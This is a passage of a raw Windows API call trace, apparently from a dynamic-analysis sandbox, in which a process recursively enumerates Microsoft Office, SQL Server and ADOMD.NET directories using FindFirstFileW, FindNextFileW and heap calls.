ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 1 [0288.634] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b0ae4ba, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2b0ae4ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0ae4ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 0 [0288.634] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0288.635] GetProcessHeap () returned 0xaf0000 [0288.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0288.635] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1 [0288.635] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2d25b938, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2771c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0288.635] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa5ff4c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa5ff4c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa8619f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d4290, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0288.635] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ba84052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x735cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap110.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0288.636] GetProcessHeap () returned 0xaf0000 [0288.636] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0288.636] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0288.637] GetProcessHeap () returned 0xaf0000 [0288.637] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a82878 [0288.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\*", lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3a928b0 [0288.637] GetProcessHeap () returned 0xaf0000 [0288.637] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a82878 | out: hHeap=0xaf0000) returned 1 [0288.637] GetProcessHeap () returned 0xaf0000 [0288.637] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0288.637] GetProcessHeap () returned 0xaf0000 [0288.638] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0288.638] GetProcessHeap () returned 0xaf0000 [0288.638] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0288.639] GetProcessHeap () returned 0xaf0000 [0288.639] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0288.639] GetProcessHeap () returned 0xaf0000 [0288.639] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0288.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2f517e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f517e4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0288.640] GetProcessHeap () returned 0xaf0000 [0288.640] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0288.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2f517e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0288.641] GetProcessHeap () returned 0xaf0000 [0288.641] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0288.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43957d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca99edb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e1424f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0288.643] GetProcessHeap () returned 0xaf0000 [0288.643] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0288.644] GetProcessHeap () returned 0xaf0000 [0288.644] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0288.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3201264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0288.644] GetProcessHeap () returned 0xaf0000 [0288.644] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0288.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\1033\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf428c77b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf428c77b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf428c77b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0288.645] GetProcessHeap () returned 0xaf0000 [0288.645] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0288.645] GetProcessHeap () returned 0xaf0000 [0288.645] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0288.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3201264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0289.056] GetProcessHeap () returned 0xaf0000 [0289.056] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0289.056] GetProcessHeap () returned 0xaf0000 [0289.057] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0289.057] GetProcessHeap () returned 0xaf0000 [0289.057] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0289.064] GetProcessHeap () returned 0xaf0000 [0289.064] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0289.064] GetProcessHeap () returned 0xaf0000 [0289.064] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0289.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0289.066] GetProcessHeap () returned 0xaf0000 [0289.067] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0289.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0289.068] GetProcessHeap () returned 0xaf0000 [0289.068] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0289.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.069] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.069] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 1 [0289.069] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 0 [0289.070] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.070] GetProcessHeap () returned 0xaf0000 [0289.070] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0289.070] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 0 [0289.070] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0289.070] GetProcessHeap () returned 0xaf0000 [0289.070] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0289.072] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0289.072] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0289.072] GetProcessHeap () returned 0xaf0000 [0289.072] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0289.072] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0289.073] GetProcessHeap () returned 0xaf0000 [0289.073] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0289.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0289.073] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.073] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 1 [0289.074] GetProcessHeap () returned 0xaf0000 [0289.074] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0289.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0289.075] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.075] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0289.076] GetProcessHeap () returned 0xaf0000 [0289.076] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0289.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\110\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.077] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.077] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16e4606, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf898, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0289.078] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16e4606, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf898, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0289.078] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.078] GetProcessHeap () returned 0xaf0000 [0289.078] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0289.078] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0289.078] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0289.078] GetProcessHeap () returned 0xaf0000 [0289.078] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0289.079] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0289.079] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0289.079] GetProcessHeap () returned 0xaf0000 [0289.079] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0289.079] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: 